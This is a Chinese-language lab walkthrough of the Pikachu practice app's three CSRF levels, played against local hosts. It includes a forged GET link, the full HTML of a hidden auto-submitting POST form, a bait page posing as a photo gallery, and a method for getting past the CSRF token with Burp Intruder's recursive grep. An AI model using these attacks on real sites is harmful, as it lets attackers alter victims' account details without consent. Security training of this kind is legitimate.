文章目录
- 前言
- 使用工具
- 第一关(host:192.168.1.107)、CSRF(get) login
- Step.1、以受害者身份登录账号
- Step.2、以受害者身份点击修改个人信息的按钮
- Step.3、以黑客身份使用burp进行抓包(查看对面修改格式)
- Step4、以黑客身份生成一个恶意网页给用户来点击
- Step5、以受害者身份点击了恶意网站的链接
- 第二关(host:192.168.1.108)、CSRF(post) login
- Step1、以受害者身份点击修改个人信息的按钮
- Step2、以黑客身份使用burp进行抓包
- Step3、以黑客身份生成一个恶意网页给用户来点击
- Step4、以受害者身份点击了恶意网站的链接
- 第三关(host:192.168.1.112)、CSRF Token login
- Step1、以受害者身份点击修改个人信息的按钮
- Step2、以黑客身份使用burp进行抓包
- Step3、以黑客身份尝试对token进行绕过
- Step4、以黑客身份攻击
- 第三关(方法2,使用插件)、CSRF Token login
- Step1、安装和配置csrf插件
- Step2、以黑客身份进行抓包
- Step3、以黑客身份配置攻击设置
- Step4、查看结果
前言
靶场一共又三关,现在我们就来通关吧。
使用工具
Burp Suite Professional抓包工具
第一关(host:192.168.1.107)、CSRF(get) login
Step.1、以受害者身份登录账号
我这里选择了vince的身份登录
Step.2、以受害者身份点击修改个人信息的按钮
发现修改成功,URL也没有显示什么信息。
Step.3、以黑客身份使用burp进行抓包(查看对面修改格式)
对提交修改信息时候进行抓包
看到上面就是提交的get请求数据
从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。
把修改的get链接复制下来
http://192.168.1.107/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=12345678900&add=%E6%9C%88%E7%90%83&email=hhhhh%40pikachu.com&submit=submit HTTP/1.1
然后就把包释放掉。
Step4、以黑客身份生成一个恶意网页给用户来点击
这里就修改了电话和邮箱2处
生成恶意网页让受害者点击
Step5、以受害者身份点击了恶意网站的链接
!注意:这里必须让受害者使用同一个浏览器,并且登录状态还在生效才有用
很明显手机号码和邮箱被修改了。第一关通关
。
第二关(host:192.168.1.108)、CSRF(post) login
继续选择登录vince的账号。
Step1、以受害者身份点击修改个人信息的按钮
Step2、以黑客身份使用burp进行抓包
观察报文,这里学上一关一样没有特殊的信息,可以被利用。
由于这一关是post提交了,无法学上一关那样直接使用URL来改参数。但抓包可知,这个表单的数据数量以及对应的字段名name,这就可以构造一个恶意表单网页来给用户点击。
Step3、以黑客身份生成一个恶意网页给用户来点击
献上代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
<form action="http://192.168.1.108/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="非人类">
<input type="hidden" name="phonenum" value="10000000001">
<input type="hidden" name="add" value="太空">
<input type="hidden" name="email" value="myWord@pikachu.com">
<input type="hidden" name="submit" value="submit" />
<input type="submit" id="submit" value="Submit request" style="display: none;">
</form>
</body>
<script type="text/javascript">
window.onload = function(){
document.getElementById("submit").click();
}
</script>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>美女写真</title>
</head>
<body>
<a href="./girl.php"><img src="https://up.enterdesk.com/edpic_source/56/ea/02/56ea02b3aa4d582ef244974b1d7c95ec.jpg" style="width: 200px;height: auto;" alt=""></a>
</body>
</html>
诱导客户点击恶意链接
Step4、以受害者身份点击了恶意网站的链接
!注意:这里必须让受害者使用同一个浏览器,并且登录状态还在生效才有用
可以看到信息已经被修改了,第二关通关
。
第三关(host:192.168.1.112)、CSRF Token login
继续选择vince的账号登录。
Step1、以受害者身份点击修改个人信息的按钮
Step2、以黑客身份使用burp进行抓包
观察一下报文,很明显多了一个token,关于token的解释,在前面暴力破解那一关已经有解析过,这里就不作过多的解释了。
Step3、以黑客身份尝试对token进行绕过
将请求包发送到Intruder模块,设置positions
攻击模式设置为Pitchfork,这里只把电话号码和token设置为了变量
设置电话号码的payload,这里就不使用字典了,直接随便指定一个号码段
下面这一步是关键
,主要为了获取“上一次响应数据包”中的token值,在响应包中找到token值,规则添加成功
把token值选中,并且复制下来,然后点OK。
因为要重定向响应,这里设置为总是跟随重定向,选择always
返回设置Payload2,选择Recursive grep,刚才抓取的代码就自动过来了,把初始值填在下面,打个勾就行了。
因为需要提交token,所以不能使用多线程,需要把线程数改为1,使用单线程。
Step4、以黑客身份攻击
点击Start attack开始攻击。
返回网页查看攻击成果
这里可以看到手机变成上面最后一次攻击的值了。第三关通关
。
第三关(方法2,使用插件)、CSRF Token login
继续选择vince的账号登录。
Step1、安装和配置csrf插件
选择bp的 Extender 扩展模块,点击 BApp Store,找到 CSRF Token Tracker,点击 Install 进行安装
选中新安装的这个模块,配置请求地址和请求参数
Step2、以黑客身份进行抓包
Step3、以黑客身份配置攻击设置
把数据包发送到重发模块
就修改一下电话号码值
点击Send发送数据包
再点击上面的Follow redirection按钮,页面刷新如下
这里就可以看到手机号码改变了。
Step4、查看结果
返回查看插件
释放包,浏览器查看页面
发现电话号码已经被修改了,通关
。